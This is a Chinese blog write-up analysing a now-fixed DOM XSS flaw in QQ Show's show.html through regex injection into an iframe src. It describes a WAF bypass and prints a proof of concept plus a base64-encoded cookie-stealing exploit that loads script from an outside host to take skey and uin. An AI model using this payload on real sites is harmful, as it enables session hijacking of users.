QQ某业务主站DOM XSS挖掘与分析(绕过WAF)
腾讯已经修复了,所以我发出来,贵在挖掘与分析过程。
可盗取skey与uin全浏览器通用不会被拦截。
挖掘flashxss的时候偶然发现的,反编译的时候发现这样的URL:
show.qq.com 属于QQ秀主站业务。
来到show.html,看到如下代码:
var aNUrl= { "M":"http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html", "T":"http://imgcache.qq.com/qqshow_v3/htdocs/inc/header.html", "L":"http://imgcache.qq.com/qqshow_v3/htdocs/inc/sidebar.html" };
var sUrl = QSFL.excore.getURLParam("MUrl").replace(/http://show.qq.com/,"http://imgcache.qq.com/qqshow_v3/htdocs");
(sUrl && CheckUrlCredit4Frames(sUrl)) && (aNUrl["M"]=Rel2Abs(sUrl));
var sUrl = QSFL.excore.getURLParam("LUrl");
(sUrl && CheckUrlCredit4Frames(sUrl)) && (aNUrl["L"]=Rel2Abs(sUrl));
var sUrl = QSFL.excore.getURLParam("TUrl");
(sUrl && CheckUrlCredit4Frames(sUrl)) && (aNUrl["T"]=Rel2Abs(sUrl));
...
...
var uPrm = window.location.href.split("?"); // 从location.href中获得uPrm
var _Prm = new QSFL.excore.param(uPrm[1] || "", "&", "="); // 获得GET参数
for (var xName in _Prm)
{
if (typeof(_Prm[xName])=="string" && xName!="MUrl" && xName!="LUrl" && xName!="TUrl") // xName是键,_Prm[xName]是值
{
aNUrl["M"] = QSFL.excore.setURLParam(aNUrl["M"], xName, _Prm[xName]);
aNUrl["L"] = QSFL.excore.setURLParam(aNUrl["L"], xName, _Prm[xName]);
aNUrl["T"] = QSFL.excore.setURLParam(aNUrl["T"], xName, _Prm[xName]);
}
...
...
QSFL.$("headerFrame").src = aNUrl["T"];
QSFL.$("sideFrame").src = aNUrl["L"];
QSFL.$("mainFrame").src = aNUrl["M"];
上面这三句,很明显是可能会存在xss的。QSFL.$("headerFrame")
是一个iframe对象,它的src属性可以为javascript协议,也就是:<iframe src=javascript:alert(1)>
。所以只要能控制aNUrl["T"];
的前部分,就能造成一个无需交互的DOM XSS。
要控制aNUrl["T"]
,看看之前QSFL.excore.setURLParam
函数。QSFL.excore.setURLParam
的第一个参数是预置的 http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html 、 http://imgcache.qq.com/qqshow_v3/htdocs/inc/header.html 或 http://imgcache.qq.com/qqshow_v3/htdocs/inc/sidebar.html ,第二、三个参数是GET的键和值。
进入QSFL.excore.setURLParam看看。
QSFL.excore.setURLParam = function(sUrl, sName, sValue)
{
sUrl = sUrl.toString();
sName = sName.toString();
sValue = sValue.toString().escUrl();
var r = new RegExp("(^|\W)" + sName + "=[^&]*", "g");
var vUrl = sUrl.split("#");
vUrl[0] = (vUrl[0].match(r)) ? vUrl[0].replace(r, "$1" + sName + "=" + sValue) : vUrl[0] + (vUrl[0].indexOf("?") == -1 ? "?" : "&") + sName + "="
+ sValue;
return vUrl.join("#");
};
我们先缕缕思路,这个函数的三个参数,sUrl是我们不能控制的,但sName、sValue都是可以控制的,但其中不能包含&、=。
我们看到主要部分是一个?:选择符。如果能执行vUrl[0].replace(r, "$1" + sName + "=" + sValue)
,因为sName我们可以控制,所以就能控制url的前半部分;如果执行的是vUrl[0] + (vUrl[0].indexOf("?") == -1 ? "?" : "&") + sName + "=" + sValue;
,vUrl[0]就是sUrl,我们不能控制前半部分,所以不行。
所以看看怎样让这个三目运算符执行第一个。看到这个正则:RegExp("(^|\W)" + sName + "=[^&]*", "g");
。将sName放入正则表达式了。
只要让vUrl[0]
匹配上这个正则就可以了,想想怎么办?
让sName中包含或|
就可以了,即为|http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html|
,则整个正则为(^|\W)|http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html|=[^&]*
,肯定是可以匹配上 http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html 的。
我们再在sName前面加上javascript:alert(1)//
,最后返回的URL即为javascript:alert(1)//|http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html|=1
,这样的URL放入iframe的src属性中即可造成一个XSS。
实际上我发现服务器WAF将会过滤一些关键字,比如javascript:、”等,javascript可以用大小写绕过,引号完全可以不需要,我们可以用//.source代替。
给出一个POC:
http://show.qq.com/show.html?javAScripT:alert(1)//|http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html|=1
可见弹窗:
写一个盗取cookie的EXP:
http://show.qq.com/show.html?javAScripT:eval(atob(/ZG9jdW1lbnQud3JpdGUoJzxzY3JpcHQgc3JjPWh0dHA6Ly94NTUubWh6LnB3L0hZYkJ3VT48L3NjcmlwdD4nKTs/.source))//|http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html|=1
这个能在chrome下运行。
经测试可以盗取skey、uin,有这两个就可以登他人空间,干很多邪恶的事情:
- 无锁编程(七) - 实战
- zookeeper的python客户端安装
- 事件(Event),绝大多数内存泄漏(Memory Leak)的元凶[上篇]
- 震撼:1分钟带你看完IC0的爆炸视频
- 事件(Event),绝大多数内存泄漏(Memory Leak)的元凶[下篇] (提供Source Code下载)
- bt、磁力怎么下载?老司机飙车终极思路……
- Linux进程间通信(五) - 信号灯(史上最全)及其经典应用案例
- 写出完美的snprintf
- 计算CPU利用率
- 详解Hadoop HA 如何运作
- Linux时间时区详解与常用时间函数
- 基于Linux整形时间的常用计算思路
- 如何追踪每一笔记录的来龙去脉:一个完整的Audit Logging解决方案[上篇]
- WCF技术剖析之二十四: ServiceDebugBehavior服务行为是如何实现异常的传播的?
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Android 获取 usb 权限的两种方法
- Android实现两圆点之间来回移动加载进度
- Android使用第三方库实现日期选择器
- Android Activity向右滑动返回
- 大多数人都不懂的搜索引擎技巧,掌握这几点,提升你的工作效率
- 如何使用Flutter实现58同城中的加载动画详解
- Android Gradle开发指南详解
- Hexo+Github搭建个人博客:Hexo添加分类标签
- Android自定义酒店日期选择器
- Android实现apk插件方式换肤的实例讲解
- 基于Spark Graphx实现ID-Mapping
- Nginx keepalived一主一从高可用,手把手带你一步一步配置!
- Android实现自动轮询的RecycleView
- Android自定义钟表特效
- Android MediaPlayer 音频倍速播放 调整播放速度问题